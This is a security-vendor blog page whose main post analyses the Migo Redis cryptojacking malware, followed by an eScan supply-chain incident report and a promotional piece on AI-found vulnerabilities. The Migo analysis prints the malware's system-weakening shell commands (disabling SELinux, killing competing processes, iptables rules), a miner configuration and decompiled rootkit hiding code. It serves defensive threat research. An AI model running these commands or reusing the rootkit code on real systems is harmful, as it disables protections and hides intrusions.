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February 20, 2024

Migo: A Redis Miner with Novel System Weakening Techniques

Migo is a cryptojacking campaign targeting Redis servers, that uses novel system-weakening techniques for initial access. It deploys a Golang ELF binary for cryptocurrency mining, which employs compile-time obfuscation and achieves persistence on Linux hosts. Migo also utilizes a modified user-mode rootkit to hide its processes and on-disk artifacts, complicating analysis and forensics.
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Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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20
Feb 2024

A screenshot of a computerAI-generated content may be incorrect.
Disable aof-rewrite-incremental-fsync command observed by a Redis honeypot sensor

After disabling these configuration parameters, the threat actor used the set command to set the values of two separate Redis keys. One key is assigned a string value corresponding to a malicious threat actor-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh (a relatively uncommon distribution mechanism previously covered by Cado) via Pastebin [5].

The threat actors will then follow-up with a series of commands to change the working directory of Redis itself, before saving the contents of the database. If the working directory is one of the Cron directories, the file will be parsed by crond and executed as a normal Cron job. 
This is a common attack pattern against Redis servers and has been previously documented by Cado and others[6][7]

A screenshot of a computerAI-generated content may be incorrect.
Abusing the set command to register a malicious Cron job

As can be seen above, the threat actors create a key named mimigo and use it to register a Cron job that first checks whether a file exists at /tmp/.xxx1. If not, a simple script is retrieved from Pastebin using either curl or wget, and executed directly in memory by piping through sh.

Pastebin script used to retrieve primary payload from transfer.sh

This in-memory script proceeds to create an empty file at /tmp/.xxx1 (an indicator to the previous stage that the host has been compromised) before retrieving the primary payload from transfer.sh. This payload is saved as /tmp/.migo, before being executed as a background task via nohup.

Primary Payload – Static Properties

The Migo primary payload (/tmp/.migo) is delivered as a statically-linked and stripped UPX-packed ELF, compiled from Go code for the x86_64 architecture. The sample uses vanilla UPX packing (i.e. the UPX header is intact) and can be trivially unpacked using upx -d. 

After unpacking, analysis of the .gopclntab section of the binary highlights the threat actor’s use of a compile-time obfuscator to obscure various strings relating to internal symbols. You might wonder why this is necessary when the binary is already stripped, the answer lies with a feature of the Go programming language named “Program Counter Line Table (pclntab)”. 

In short, the pclntab is a structure located in the .gopclntab section of a Go ELF binary. It can be used to map virtual addresses to symbol names, for the purposes of generating stack traces. This allows reverse engineers the ability to recover symbols from the binary, even in cases where the binary is stripped.  

The developers of Migo have since opted to further protect these symbols by applying additional compile-time obfuscation. This is likely to prevent details of the malware’s capabilities from appearing in stack traces or being easily recovered by reverse engineers.

Compile-time symbol obfuscation in gopclntab section

With the help of Interactive Disassembler’s (IDA’s) function recognition engine, we can see a number of Go packages (libraries) used by the binary. This includes functions from the OS package, including os/exec (used to run shell commands on Linux hosts), os.GetEnv (to retrieve the value of a specific environment variable) and os.Open to open files. [8, 9]

 Examples of OS library functions identified by IDA

Additionally, the malware includes the net package for performing HTTP requests, the encoding/json package for working with JSON data and the compress/gzip package for handling gzip archives.

Primarily Payload – Capabilities

Shortly after execution, the Migo binary will consult an infection marker in the form of a file at /tmp/.migo_running. If this file doesn’t exist, the malware creates it, determines its own process ID and writes the file. This tells the threat actors that the machine has been previously compromised, should they encounter it again.

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory) 
    getpid() = 2557 
    openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6 
    fcntl(6, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted) 
    fcntl(6, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(6, "2557", 4)  = 4 
    close(6) = 0 

Migo proceeds to retrieve the XMRig installer in tar.gz format directly from Github’s CDN, before creating a new directory at /tmp/.migo_worker, where the installer archive is saved as /tmp/.migo_worker/.worker.tar.gz.  Naturally, Migo proceeds to unpack this archive and saves the XMRig binary as /tmp/.migo_worker/.migo_worker. The installation archive contains a default XMRig configuration file, which is rewritten dynamically by the malware and saved to /tmp/.migo_worker/.migo.json.

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9 
    fcntl(9, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted) 
    fcntl(9, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(9, "{\n \"api\": {\n \"id\": null,\n \"worker-id\": null\n },\n \"http\": {\n \"enabled\": false,\n \"host\": \"127.0.0.1\",\n \"port"..., 2346) = 2346 
    newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) 
    renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0 

An example of the XMRig configuration used as part of the campaign (as collected along with the binary payload on the Cado honeypot) can be seen below:

{ 
     "api": { 
     "id": null, 
     "worker-id": null 
     }, 
     "http": { 
     "enabled": false, 
     "host": "127.0.0.1", 
     "port": 0, 
     "access-token": null, 
     "restricted": true 
     }, 
     "autosave": true, 
     "background": false, 
     "colors": true, 
     "title": true, 
     "randomx": { 
     "init": -1, 
     "init-avx2": -1, 
     "mode": "auto", 
     "1gb-pages": false, 
     "rdmsr": true, 
     "wrmsr": true, 
     "cache_qos": false, 
     "numa": true, 
     "scratchpad_prefetch_mode": 1 
     }, 
     "cpu": { 
     "enabled": true, 
     "huge-pages": true, 
     "huge-pages-jit": false, 
     "hw-aes": null, 
     "priority": null, 
     "memory-pool": false, 
     "yield": true, 
     "asm": true, 
     "argon2-impl": null, 
     "argon2": [0, 1], 
     "cn": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-heavy": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-lite": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-pico": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "cn/upx2": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "ghostrider": [ 
     [8, 0], 
     [8, 1] 
     ], 
     "rx": [0, 1], 
     "rx/wow": [0, 1], 
     "cn-lite/0": false, 
     "cn/0": false, 
     "rx/arq": "rx/wow", 
     "rx/keva": "rx/wow" 
     }, 
     "log-file": null, 
     "donate-level": 1, 
     "donate-over-proxy": 1, 
     "pools": [ 
     { 
     "algo": null, 
     "coin": null, 
     "url": "xmrpool.eu:9999", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.hashvault.pro:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": "XMR", 
     "url": "xmr-jp1.nanopool.org:14433", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": false, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.supportxmr.com:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     } 
     ], 
     "retries": 5, 
     "retry-pause": 5, 
     "print-time": 60, 
     "dmi": true, 
     "syslog": false, 
     "tls": { 
     "enabled": false, 
     "protocols": null, 
     "cert": null, 
     "cert_key": null, 
     "ciphers": null, 
     "ciphersuites": null, 
     "dhparam": null 
     }, 
     "dns": { 
     "ipv6": false, 
     "ttl": 30 
     }, 
     "user-agent": null, 
     "verbose": 0, 
     "watch": true, 
     "pause-on-battery": false, 
     "pause-on-active": false 
    } 

With the miner installed and an XMRig configuration set, the malware proceeds to query some information about the system, including the number of logged-in users (via the w binary) and resource limits for users on the system. It also sets the number of Huge Pages available on the system to 128, using the vm.nr_hugepages parameter. These actions are fairly typical for cryptojacking malware. [10]

Interestingly, Migo appears to recursively iterate through files and directories under /etc. The malware will simply read files in these locations and not do anything with the contents. One theory, based on this analysis, is that this could be a (weak) attempt to confuse sandbox and dynamic analysis solutions by performing a large number of benign actions, resulting in a non-malicious classification. It’s also possible the malware is hunting for an artefact specific to the target environment that’s missing from our own analysis environment. However, there was no evidence of this recovered during our analysis.

Once this is complete, the binary is copied to /tmp via the /proc/self/exe symlink ahead of registering persistence, before a series of shell commands are executed. An example of these commands is listed below.

/bin/chmod +x /tmp/.migo 
    /bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux" 
    /bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh" 
    /bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh" 
    /bin/sh -c command -v setenforce 
    /bin/sh -c command -v systemctl 
    /bin/sh -c setenforce 0o 
    go_worker --config /tmp/.migo_worker/.migo.json 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp" 
    bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer" 
    iptables -A OUTPUT -d 10.148.188.201 -j DROP 
    iptables -A OUTPUT -d 10.148.188.202 -j DROP 
    iptables -A OUTPUT -d 11.149.252.51 -j DROP 
    iptables -A OUTPUT -d 11.149.252.57 -j DROP 
    iptables -A OUTPUT -d 11.149.252.62 -j DROP 
    iptables -A OUTPUT -d 11.177.124.86 -j DROP 
    iptables -A OUTPUT -d 11.177.125.116 -j DROP 
    iptables -A OUTPUT -d 120.232.65.223 -j DROP 
    iptables -A OUTPUT -d 157.148.45.20 -j DROP 
    iptables -A OUTPUT -d 169.254.0.55 -j DROP 
    iptables -A OUTPUT -d 183.2.143.163 -j DROP 
    iptables -C OUTPUT -d 10.148.188.201 -j DROP 
    iptables -C OUTPUT -d 10.148.188.202 -j DROP 
    iptables -C OUTPUT -d 11.149.252.51 -j DROP 
    iptables -C OUTPUT -d 11.149.252.57 -j DROP 
    iptables -C OUTPUT -d 11.149.252.62 -j DROP 
    iptables -C OUTPUT -d 11.177.124.86 -j DROP 
    iptables -C OUTPUT -d 11.177.125.116 -j DROP 
    iptables -C OUTPUT -d 120.232.65.223 -j DROP 
    iptables -C OUTPUT -d 157.148.45.20 -j DROP 
    iptables -C OUTPUT -d 169.254.0.55 -j DROP 
    iptables -C OUTPUT -d 183.2.143.163 -j DROP 
    kill -9 
    ls /usr/local/aegis/aegis_client 
    ls /usr/local/aegis/aegis_update 
    ls /usr/local/cloudmonitor/cloudmonitorCtl.sh 
    ls /usr/local/qcloud/YunJing/uninst.sh 
    ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh 
    ls /usr/local/qcloud/stargate/admin/uninstall.sh 
    ls /var/lib/qcloud/YunJing/uninst.sh 
    lsattr /etc/cron.d/0hourly 
    lsattr /etc/cron.d/raid-check 
    lsattr /etc/cron.d/sysstat 
    lsattr /etc/crontab 
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" 
    sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9" 
    systemctl start system-kernel.timer 
    systemctl status firewalld 

In summary, they perform the following actions:

  • Make the copied version of the binary executable, to be executed via a persistence mechanism
  • Disable SELinux and search for uninstallation scripts for monitoring agents bundled in compute instances from cloud providers such as Qcloud and Alibaba Cloud
  • Execute the miner and pass the dropped configuration into it
  • Configure iptables to drop outbound traffic to specific IPs
  • Kill competing miners and payloads from similar campaigns
  • Register persistence via the systemd timer system-kernel.timer

Note that these actions are consistent with prior mining campaigns targeting East Asian cloud providers analyzed by Cado researchers [11].

Migo will also attempt to prevent outbound traffic to domains belonging to these cloud providers by writing the following lines to /etc/hosts, effectively creating a blackhole for each of these domains. It’s likely that this is to prevent monitoring agents and update software from contacting these domains and triggering any alerts that might be in place. 

This also gives some insight into the infrastructure targeted by the malware, as these domains belong to the same cloud service providers as we discussed previously.

A screenshot of a computerAI-generated content may be incorrect.
Modified contents of /etc/hosts

Persistence

As seen in the commands above, Migo achieves persistence on the target host via the use of a systemd service and associated systemd timer. These are named system-kernel.timer and system-kernel.service respectively. 

The service unit is straightforward, it simply ensures the Migo payload is executable before invoking it. The malware also configures the allowed number of open file descriptors (via the LimitNOFILE parameter) and increases the CPU shares weighting to 1000000, allowing the miner to fully utilize the CPU.

Example contents of system-kernel.service

This service is controlled by an associated systemd timer, allowing it to be executed 5 seconds after the machine boots, and executed again every five seconds following that [12]. This, in combination with the infection marker mentioned previously, ensures the miner is kept running and can effectively contribute to the mining pool.

Example contents of system-kernel.timer

Process Hiding

Interestingly, Migo will attempt to hide on-disk artefacts dropped by itself via the use of a user mode rootkit. These artefacts include the contents /tmp/.migo_worker directory, where the malware stores the miner and configuration file, as well as the main payload located at /tmp/.migo. 

To achieve this, the malware updates /etc/ld.so.preload to point at a Linux shared object file located at /usr/local/lib/libsystemd.so, effectively conducting Dynamic Linker hijacking on the Redis host. [13] This shared object is embedded within the Migo primary payload and is extracted at runtime.

 if ( !original_readdir ) 
     { 
     original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir"); 
     if ( !original_readdir ) 
     { 
     v1 = dlerror(); 
     fprintf(stderr, aDlsym_0, v1); 
     } 
     } 
     do 
     v5 = original_readdir(a1); 
     while ( v5 
     && (get_dir_name(a1, s1, 256LL) 
     && !strcmp(s1, "/proc") 
     && get_process_name(v5 + 19, v4) 
     && should_hide_entry(v4, &hiddenProcesses, 3LL) 
     || should_hide_entry(v5 + 19, hiddenFiles, 4LL) 
     || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) ); 
     return v5; 
    } 

Decompiler output for the process and file hiding functionality in libsystemd.so

libsystemd.so is a process hider based on the open source libprocesshider project, seen frequently in cryptojacking campaigns. [14, 15] With this shared object in place, the malware intercepts invocations of file and process listing tools (ls, ps, top etc) and hides the appropriate lines from the tool’s output.

Examples of hardcoded artefacts to hide

Conclusion

Migo demonstrates that cloud-focused attackers are continuing to refine their techniques and improve their ability to exploit web-facing services. The campaign utilized a number of Redis system weakening commands, in an attempt to disable security features of the data store that may impede their initial access attempts. These commands have not previously been reported in campaigns leveraging Redis for initial access. 

The developers of Migo also appear to be aware of the malware analysis process, taking additional steps to obfuscate symbols and strings found in the pclntab structure that could aid reverse engineering. Even the use of Go to produce a compiled binary as the primary payload, rather than using a series of shell scripts as seen in previous campaigns, suggests that those behind Migo are continuing to hone their techniques and complicate the analysis process. 

In addition, the use of a user mode rootkit could complicate post-incident forensics of hosts compromised by Migo. Although libprocesshider is frequently used by cryptojacking campaigns, this particular variant includes the ability to hide on-disk artefacts in addition to the malicious processes themselves.

Indicators of Compromise (IoC)

File SHA256

/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208

/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685

/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e

system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f

libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IP Addresses

103[.]79[.]118[.]221

References

  1. https://redis.io/docs/latest/operate/oss_and_stack/management/security/#protected-mode
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/#read-only-replica
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/
  1. https://www.cadosecurity.com/blog/redis-p2pinfect
  1. https://www.cadosecurity.com/blog/redis-miner-leverages-command-line-file-hosting-service
  1. https://www.cadosecurity.com/blog/kiss-a-dog-discovered-utilizing-a-20-year-old-process-hider
  1. https://www.trendmicro.com/en_ph/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
  1. https://pkg.go.dev/os
  1. https://pkg.go.dev/os/exec
  1. https://www.crowdstrike.com/en-us/blog/2021-cryptojacking-trends-and-investigation-recommendations/  
  1. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://github.com/gianlucaborello/libprocesshider
  1. https://www.cadosecurity.com/blog/abcbot-an-evolution-of-xanthe

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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April 21, 2026

How a Compromised eScan Update Enabled Multi‑Stage Malware and Blockchain C2

multi-stage malwareDefault blog imageDefault blog image

The rise of supply chain attacks

In recent years, the abuse of trusted software has become increasingly common, with supply chain compromises emerging as one of the fastest growing vectors for cyber intrusions. As highlighted in Darktrace’s Annual Threat Report 2026, attackers and state-actors continue to find significant value in gaining access to networks through compromised trusted links, third-party tools, or legitimate software. In January 2026, a supply chain compromise affecting MicroWorld Technologies’ eScan antivirus product was reported, with malicious updates distributed to customers through the legitimate update infrastructure. This, in turn, resulted in a multi‑stage loader malware being deployed on compromised devices [1][2].

An overview of eScan exploitation

According to eScan’s official threat advisory, unauthorized access to a regional update server resulted in an “incorrect file placed in the update distribution path” [3]. Customers associated with the affected update servers who downloaded the update during a two-hour window on January 20 were impacted, with affected Windows devices subsequently have experiencing various errors related to update functions and notifications [3].

While eScan did not specify which regional update servers were affected by the malicious update, all impacted Darktrace customer environments were located in the Europe, Middle East, and Africa (EMEA) region.

External research reported that a malicious 32-bit executable file , “Reload.exe”, was first installed on affected devices, which then dropped the 64-bit downloader, “CONSCTLX.exe”. This downloader establishes persistence by creating scheduled tasks such as “CorelDefrag”, which are responsible for executing PowerShell scripts. Subsequently, it evades detection by tampering with the Windows HOSTS file and eScan registry to prevent future remote updates intended for remediation. Additional payloads are then downloaded from its command-and-control (C2) server [1].

Darktrace’s coverage of eScan exploitation

Initial Access and Blockchain as multi-distributed C2 Infrastructure

On January 20, the same day as the aforementioned two‑hour exploit window, Darktrace observed multiple devices across affected networks downloading .dlz package files from eScan update servers, followed by connections to an anomalous endpoint, vhs.delrosal[.]net, which belongs to the attackers’ C2 infrastructure.

The endpoint contained a self‑signed SSL certificate with the string “O=Internet Widgits Pty Ltd, ST=SomeState, C=AU”, a default placeholder commonly used in SSL/TLS certificates for testing and development environments, as well as in malicious C2 infrastructure [4].

Utilizing a multi‑distributed C2 infrastructure, the attackers also leveraged domains linked with the Solana open‑source blockchain for C2 purposes, namely “.sol”. These domains were human‑readable names that act as aliases for cryptocurrency wallet addresses. As browsers do not natively resolve .sol domains, the Solana Naming System (formerly known as Bonfida, an independent contributor within the Solana ecosystem) provides a proxy service, through endpoints such as sol-domain[.]org, to enable browser access.

Darktrace observed devices connecting to blackice.sol-domain[.]org, indicating that attackers were likely using this proxy to reach a .sol domain for C2 activity. Given this behavior, it is likely that the attackers leveraged .sol domains as a dead drop resolver, a C2 technique in which threat actors host information on a public and legitimate service, such as a blockchain. Additional proxy resolver endpoints, such as sns-resolver.bonfida.workers[.]dev, were also observed.

Solana transactions are transparent, allowing all activity to be viewed publicly. When Darktrace analysts examined the transactions associated with blackice[.]sol, they observed that the earliest records dated November 7, 2025, which coincides with the creation date of the known C2 endpoint vhs[.]delrosal[.]net as shown in WHOIS Lookup information [4][5].

WHOIS Look records of the C2 endpoint vhs[.]delrosal[.]net.
Figure 1: WHOIS Look records of the C2 endpoint vhs[.]delrosal[.]net.
 Earliest observed transaction record for blackice[.]sol on public ledgers.
Figure 2: Earliest observed transaction record for blackice[.]sol on public ledgers.

Subsequent instructions found within the transactions contained strings such as “CNAME= vhs[.]delrosal[.]net”, indicating attempts to direct the device toward the malicious endpoint. A more recent transaction recorded on January 28 included strings such as “hxxps://96.9.125[.]243/i;code=302”, suggesting an effort to change C2 endpoints. Darktrace observed multiple alerts triggered for these endpoints across affected devices.

Similar blockchain‑related endpoints, such as “tumama.hns[.]to”, were also observed in C2 activities. The hns[.]to service allows web browsers to access websites registered on Handshake, a decentralized blockchain‑based framework designed to replace centralized authorities and domain registries for top‑level domains. This shift toward decentralized, blockchain‑based infrastructure likely reflects increased efforts by attackers to evade detection.

In outgoing connections to these malicious endpoints across affected networks, Darktrace / NETWORK recognized that the activity was 100% rare and anomalous for both the devices and the wider networks, likely indicative of malicious beaconing, regardless of the underlying trusted infrastructure. In addition to generating multiple model alerts to capture this malicious activity across affected networks, Darktrace’s Cyber AI Analyst was able to compile these separate events into broader incidents that summarized the entire attack chain, allowing customers’ security teams to investigate and remediate more efficiently. Moreover, in customer environments where Darktrace’s Autonomous Response capability was enabled, Darktrace took swift action to contain the attack by blocking beaconing connections to the malicious endpoints, even when those endpoints were associated with seemingly trustworthy services.

Conclusion

Attacks targeting trusted relationships continue to be a popular strategy among threat actors. Activities linked to trusted or widely deployed software are often unintentionally whitelisted by existing security solutions and gateways. Darktrace observed multiple devices becoming impacted within a very short period, likely because tools such as antivirus software are typically mass‑deployed across numerous endpoints. As a result, a single compromised delivery mechanism can greatly expand the attack surface.

Attackers are also becoming increasingly creative in developing resilient C2 infrastructure and exploiting legitimate services to evade detection. Defenders are therefore encouraged to closely monitor anomalous connections and file downloads. Darktrace’s ability to detect unusual activity amidst ever‑changing tactics and indicators of compromise (IoCs) helps organizations maintain a proactive and resilient defense posture against emerging threats.

Credit to Joanna Ng (Associate Principal Cybersecurity Analyst) and Min Kim (Associate Principal Cybersecurity Analyst) and Tara Gould (Malware Researcher Lead)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace Model Detections

  • Anomalous File::Zip or Gzip from Rare External Location
  • Anomalous Connection / Suspicious Self-Signed SSL
  • Anomalous Connection / Rare External SSL Self-Signed
  • Anomalous Connection / Suspicious Expired SSL
  • Anomalous Server Activity / Anomalous External Activity from Critical Network Device

List of Indicators of Compromise (IoCs)

  • vhs[.]delrosal[.]net – C2 server
  • tumama[.]hns[.]to – C2 server
  • blackice.sol-domain[.]org – C2 server
  • 96.9.125[.]243 – C2 Server

MITRE ATT&CK Mapping

  • T1071.001 - Command and Control: Web Protocols
  • T1588.001 - Resource Development
  • T1102.001 - Web Service: Dead Drop Resolver
  • T1195 – Supple Chain Compromise

References

[1] https://www.morphisec.com/blog/critical-escan-threat-bulletin/

[2] https://www.bleepingcomputer.com/news/security/escan-confirms-update-server-breached-to-push-malicious-update/

[3] hxxps://download1.mwti.net/documents/Advisory/eScan_Security_Advisory_2026[.]pdf

[4] https://www.virustotal.com/gui/domain/delrosal.net

[5] hxxps://explorer.solana[.]com/address/2wFAbYHNw4ewBHBJzmDgDhCXYoFjJnpbdmeWjZvevaVv

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About the author
Joanna Ng
Associate Principal Analyst

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April 17, 2026

Why Behavioral AI Is the Answer to Mythos

mythos behavioral aiDefault blog imageDefault blog image

How AI is breaking the patch-and-prevent security model

The business world was upended last week by the news that Anthropic has developed a powerful new AI model, Claude Mythos, which poses unprecedented risk because of its ability to expose flaws in IT systems.  

Whether it’s Mythos or OpenAI’s GPT-5.4-Cyber, which was just announced on Tuesday, supercharged AI models in the hands of hackers will allow them to carry out attacks at machine speed, much faster than most businesses can stop them.  

This news underscores a stark reality for all leaders: Patching holes alone is not a sufficient control against modern cyberattacks. You must assume that your software is already vulnerable right now. And while LLMs are very good at spotting vulnerabilities, they’re pretty bad at reliably patching them.

Project Glasswing members say it could take months or years for patches to be applied. While that work is done, enterprises must be protected against Zero-Day attacks, or security holes that are still undiscovered.  

Most cybersecurity strategies today are built like a daily multivitamin: broad, preventative, and designed to keep the system generally healthy over time. Patch regularly. Update software. Reduce known vulnerabilities. It’s necessary, disciplined, and foundational. But it’s also built for a world where the risks are well known and defined, cycles are predictable, and exposure unfolds at a manageable pace.

What happens when that model no longer holds?

The AI cyber advantage: Behavioral AI

The vulnerabilities exposed by AI systems like Mythos aren’t the well-understood risks your “multivitamin” was designed to address. They are transient, fast-emerging entry points that exist just long enough to be exploited.

In that environment, prevention alone isn’t enough. You don’t need more vitamins—you need a painkiller. The future of cybersecurity won’t be defined by how well you maintain baseline health. It will be defined by how quickly you respond when something breaks and every second counts.

That’s why behavioral AI gives businesses a durable cyber advantage. Rather than trying to figure out what the attacker looks like, it learns what “normal” looks like across the digital ecosystem of each individual business.  

That’s exactly how behavioral AI works. It understands the self, or what's normal for the organization, and then it can spot deviations in from normal that are actually early-stage attacks.

The Darktrace approach to cybersecurity

At Darktrace, we’ve been defending our 10,000 customers using behavioral AI cybersecurity developed in our AI Research Centre in Cambridge, U.K.

Darktrace was built on the understanding that attacks do not arrive neatly labeled, and that the most damaging threats often emerge before signatures, indicators, or public disclosures can catch up.  

Our AI algorithms learn in real time from your personalized business data to learn what’s normal for every person and every asset, and the flows of data within your organization. By continuously understanding “normal” across your entire digital ecosystem, Darktrace identifies and contains threats emerging from unknown vulnerabilities and compromised supply chain dependencies, autonomously curtailing attacks at machine speed.  

Security for novel threats

Darktrace is built for a world where AI is not just accelerating attacks, but fundamentally reshaping how they originate. What makes our AI so unique is that it's proven time and again to identify cyber threats before public vulnerability disclosures, such as critical Ivanti vulnerabilities in 2025 and SAP NetWeaver exploitations tied to nation-state threat actors.  

As AI reshapes how vulnerabilities are found and exploited, cybersecurity must be anchored in something more durable than a list of known flaws. It requires a real-time understanding of the business itself: what belongs, what does not, and what must be stopped immediately.

What leaders should do right now

The leadership priority must shift accordingly.

First, stop treating unknown vulnerabilities as an edge case. AI‑driven discovery makes them the norm. Security programs built primarily around known flaws, signatures, and threat intelligence will always lag behind an attacker that is operating in real time.

Second, insist on an understanding of what is actually normal across the business. When threats are novel, labels are useless. The earliest and most reliable signal of danger is abnormal behavior—systems, users, or data flows that suddenly depart from what is expected. If you cannot see that deviation as it happens, you are effectively blind during the most critical window.

